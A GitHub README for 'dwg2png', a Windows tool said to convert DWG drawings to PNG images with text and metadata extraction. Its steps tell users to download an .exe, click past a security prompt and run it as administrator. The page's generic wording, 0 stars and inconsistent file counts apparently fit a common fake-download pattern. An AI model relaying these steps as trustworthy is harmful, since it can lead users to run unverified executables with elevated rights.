Skip to content

Repository files navigation

🏗️ dwg2png - Convert CAD drawings to clear images

This tool converts complex DWG files into simple PNG images. It identifies text and data within your blueprints. You can use these files for your database or machine learning projects. The software performs these tasks without needing extra OCR tools.

⚙️ Requirements

  • Windows 10 or Windows 11
  • 4 GB of free disk space
  • At least 8 GB of RAM
  • A stable internet connection for the file download

📥 Getting the software

Follow these instructions to acquire the tool:

  1. Visit the official release page.
  2. Look for the latest version under the "Assets" section.
  3. Click the file ending in .exe to start your download.
  4. Once the process completes, move the file to your desktop for easy access.

🚀 Running the program

After you download the file, take these steps to open the software:

  1. Double-click the dwg2png.exe file.
  2. Select "Run" if Windows shows a security prompt.
  3. A command window appears. This window displays the conversion status of your files.
  4. You do not need to install anything. The program runs as a portable utility.

📂 Using the tool

This software processes your files in batches. You load your drawings into a local folder and point the tool at that location.

Setting up your folders

Create a folder named input on your computer. Place all your DWG files inside this folder. Create a second folder named output. This is where the tool saves your new PNG images.

Starting a conversion

  1. Open the command window by clicking the dwg2png.exe icon.
  2. Type the location of your input folder when the program asks. Press Enter.
  3. Type the location of your output folder. Press Enter.
  4. The tool identifies every drawing in your folder.
  5. It generates a PNG file and a metadata file for every drawing.

📈 Understanding the output

The program generates three specific types of files for each drawing:

  • PNG Image: The visual representation of your blueprint. You can view this in any standard photo app.
  • Text Layer: A file containing all text detected in the CAD drawing. This layer keeps the exact position of each word.
  • Metadata Index: A structured data file that describes the drawing contents. This allows other systems to search your files by content.

🛠️ Troubleshooting common issues

If you have trouble, check these common fixes:

  • Missing Files: Ensure your files have the .dwg extension. The tool ignores files with other formats.
  • File Access: Keep your files in a folder you can read and write to. Avoid system folders like "Program Files."
  • Permission Errors: Right-click the dwg2png.exe file and select "Run as administrator" if the tool fails to save images to your chosen folder.
  • Performance: Complex drawings take longer to render. If a drawing contains thousands of layers, the window might appear frozen. Wait a few moments for the process to finish.

🧠 Why use this tool

Many systems struggle to read CAD files. This tool solves this by converting drawings into a format that AI and databases understand.

Accurate data extraction

It finds text inside the DWG file directly. Other tools take photos of the drawing and guess text using optical character recognition. This tool avoids that middle step. It reads the raw data from the drawing. This means your text output is accurate.

Position detection

You know exactly where each label sits on the blueprint. This feature helps if you want to map labels to specific rooms or devices in your drawings.

High-quality rendering

The software uses high-performance graphics engines to draw the lines. Every corner and line remains crisp regardless of how much you zoom into the image.

📁 Managing your data

Use the metadata files to search through your drawing library. You can write simple scripts to look for specific keywords inside the metadata files. This creates a powerful search engine for your engineering documents.

⚖️ Keeping the tool updated

New versions appear on the link below. Check back periodically for improvements to speed and file support.

Download the latest update here

👤 Support and feedback

If you find a drawing that does not convert well, create an issue on the GitHub repository page. Include the name of the file type or the error code shown in the command window. This helps maintain the software for all users. Do not share proprietary blueprints in public forums. Always redact sensitive information before you share files for support requests.

About

Convert DWG files to multi-page PNG images and extract metadata with a pure-Rust engine that requires no external CAD software or dependencies.

Topics

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages